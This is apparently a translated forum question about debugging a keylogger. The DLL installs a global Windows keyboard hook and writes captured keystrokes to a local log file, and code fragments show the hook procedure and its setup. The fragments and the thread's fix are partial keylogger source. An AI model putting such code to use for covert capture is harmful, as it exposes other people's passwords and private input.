我正在使用Windows Hooks製作鍵盤記錄程序。 代碼位於DLL中。鍵入的字符將被寫入文件。 然而,問題是,除了焦點在我的應用程序窗口上時,沒有字符會被記錄到文件中。 FILE *已在共享內存段中聲明。打開DLL中的共享文件
#pragma data_seg("SHARED")
.
.
FILE* iFile = NULL;
#pragma data_seg()
如果我打開鉤函數內的文件,一切似乎都很好。
EXPORT LRESULT CALLBACK KHookProc(int nCode, WPARAM wparam, LPARAM lparam)
{
.
.
.
iFile = fopen("c:\\games\\log.txt","a+");
fwrite((char *)(&c),1,1,iFile);
fclose(iFile);
}
}
如果我打開它,而設置鉤(通用於所有的進程)沒有,但我的應用程序按鍵被捕獲。
EXPORT void SetKBHook()
{
if(hhook==NULL)
{
hhook = SetWindowsHookEx(WH_KEYBOARD,(HOOKPROC)KHookProc,g_hinstance,NULL);
if(hhook == NULL)
{
DWORD err = GetLastError();
err;
}
iFile = fopen("c:\\games\\log.txt","a+");
}
}
幫助。任何人?
非常感謝。沒有想到那樣。 – v4g